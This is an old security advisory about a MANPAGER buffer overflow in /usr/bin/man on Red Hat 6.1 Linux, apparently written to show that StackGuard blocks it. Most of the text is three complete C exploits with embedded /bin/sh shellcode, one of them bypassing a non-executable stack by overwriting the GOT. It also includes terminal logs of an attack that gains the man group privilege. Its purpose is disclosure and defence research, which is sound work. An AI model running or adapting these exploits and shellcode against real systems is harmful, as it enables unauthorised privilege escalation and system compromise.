COMMAND
man
SYSTEMS AFFECTED
Linux
PROBLEM
At WireX Crispin Cowan and others were doing some fresh
vulnerability testing. In the text below M.C.Mar describes his
work for them demonstrating an exploit against the man
vulnerability, and then demonstrating that the StackGuarded
version of man is not vulnerable.
How does exploit work?
[emsi@pipek ~]$ ./a.out
RET: 0xbffff470 len: 4073
sh:F?F V
° NÍ?1Û?Ø@Í?èÜÿÿÿ/bin/sh
Error executing formatting or display command.
System command /bin/gunzip -c /var/catman/cat1/ls.1.gz |F?F V
°
NÍ?1Û?Ø@Í?èÜÿÿÿ/bin/sh
?ó
bash$ id
uid=1000(emsi) gid=1000(emsi) egid=15(man) groups=1000(emsi)
bash$
The exploit is at the end. If you recompile the vulnerable code
with gcc-2.7.2.3-14_SGc2_SG121.i386.rpm and tested it StackGuarded
code with explot you get:
[emsi@pipek ~]$ ./a.out
RET: 0xbffff470 len: 4073
sh:F?F V
° NÍ?1Û?Ø@Í?èÜÿÿÿ/bin/sh
Error executing formatting or display command.
System command /bin/gunzip -c /var/catman/cat1/ls.1.gz |F?F V
°
NÍ?1Û?Ø@Í?èÜÿÿÿ/bin/sh
?ó
man[6129]: Immunix type 2 Canary[7] = 850e2904 died with cadaver ae4bfc74
in procedure display_cat_file.
Exploit:
/*
* Rewriten from:
* (c) 2000 babcia padlina / b0f
* (lcamtuf's idea)
* by Kil3r of Lam3rZ
*
* redhat 6.1 /usr/bin/man exploit
*/
#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>
#define NOP 0x90
#define OFS 1800
#define BUFSIZE 4017
#define ADDRS 1000
long getesp(void)
{
__asm__("movl %esp, %eax\n");
}
int main(argc, argv)
int argc;
char **argv;
{
char *execshell =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char buf[BUFSIZE+strlen(execshell)], *p;
int noplen, i, ofs;
long ret, *ap;
ret = getesp() + OFS;
memset(buf,NOP,BUFSIZE+strlen(execshell));
memcpy(buf+BUFSIZE-(strlen(execshell)+20),execshell,strlen(execshell));
p=buf+BUFSIZE+strlen(execshell)-4;
ap=(int *)p;
*ap=ret; //0x46464646;
fprintf(stderr, "RET: 0x%x len: %d\n\n", ret, strlen(buf));
setenv("MANPAGER", buf, 1);
execl("./man", "man", "ls", 0);
return 0;
}
For the sake of full disclosure an exploit for the MANPAGER
environment variable was sent by psychoid:
/*
* MAN-Exploit for MANPAGER environmental variable.
* rh 6.x, tested on rh 6.1
* written by psychoid/tCl
* gives egid man.
*
* Originally discovered by lcamtuf.
* educational. yes.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char **argv)
{
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
unsigned long offset;
unsigned long addi=0xbfffacc4;
u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
"\xd7\xff\xff\xff/bin/sh";
/* extreme nice shellycode */
int i;
if(argc<2)
{
offset=150;
} else {
offset=strtoul(argv[1],NULL,16);
}
printf("Building buffer for adress %-8x\n",offset+addi);
buff = malloc(4062);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
printf("Nopping..\n");
/* filling with nops */
memset(ptr, 0x0, 4062);
memset(ptr, 0x90, 4061);
printf("Setting adress.. %-8x\n",ptr);
ptr+=0xf71;
addr_ptr=(long *)ptr;
*(addr_ptr++) = offset + addi;
/* shelly */
printf("Copying shell code..\n");
ptr=buff+0xf6f-strlen(execshell);
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
*ptr++='\n';
printf("Done. Setting environmental variable.\n");
setenv("MANPAGER",buff,1);
printf("Calling man..\n");
execl("/usr/bin/man", "psychoid", "man", NULL);
exit(0x0);
}
For absolutely FULL disclosure here is wonderfull man sploit
that works cool even if stack is nonexecutable (it exploits the
feature of GOT being executable:
/*
* Rewriten from:
* (c) 2000 babcia padlina / b0f
* (lcamtuf's idea)
* by Kil3r of Lam3rZ
* for nonexec stack environment
*
* redhat 6.1 (and others) /usr/bin/man exploit
*/
char execshell[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>
#define STRCPY 0x80490e4 // <== strcpy() PLT entry
#define GOT 0x805038c // <== strcpy() GOT entry
#define NOP 0x90
#define BUFSIZE 4033+38
#define RET STRCPY //0x46464646
#define _BIN_SH 0xbfffffe7 // <== where we have "/bin/sh" string,
// curently useless ;)
#define SHELLCODE 0xbfffffc1
long getesp(void)
{
__asm__("movl %esp, %eax\n");
}
int main(argc, argv)
int argc;
char **argv;
{
char buf[BUFSIZE], *p;
char *env[3];
int *ap;
memset(buf,NOP,BUFSIZE);
p=buf+BUFSIZE-4;
ap=(int *)p;
*ap++ =RET;
*ap++ =GOT+4;
*ap++ =GOT+4;
*ap++ =SHELLCODE;
fprintf(stderr, "RET: 0x%x SHELLCODE: 0x%x", RET, SHELLCODE);
memcpy(buf,"MANPAGER=", 9);
env[0]=buf;
// env[1]="/bin/sh";
env[1]=execshell;
env[2]=(char *)0;
execle("/usr/bin/man", "man", "ls", 0, env); // use execle to have
// shellcode and other params at fixed addr!!!
return 0;
}
SOLUTION
With StackGuard everything looks much better.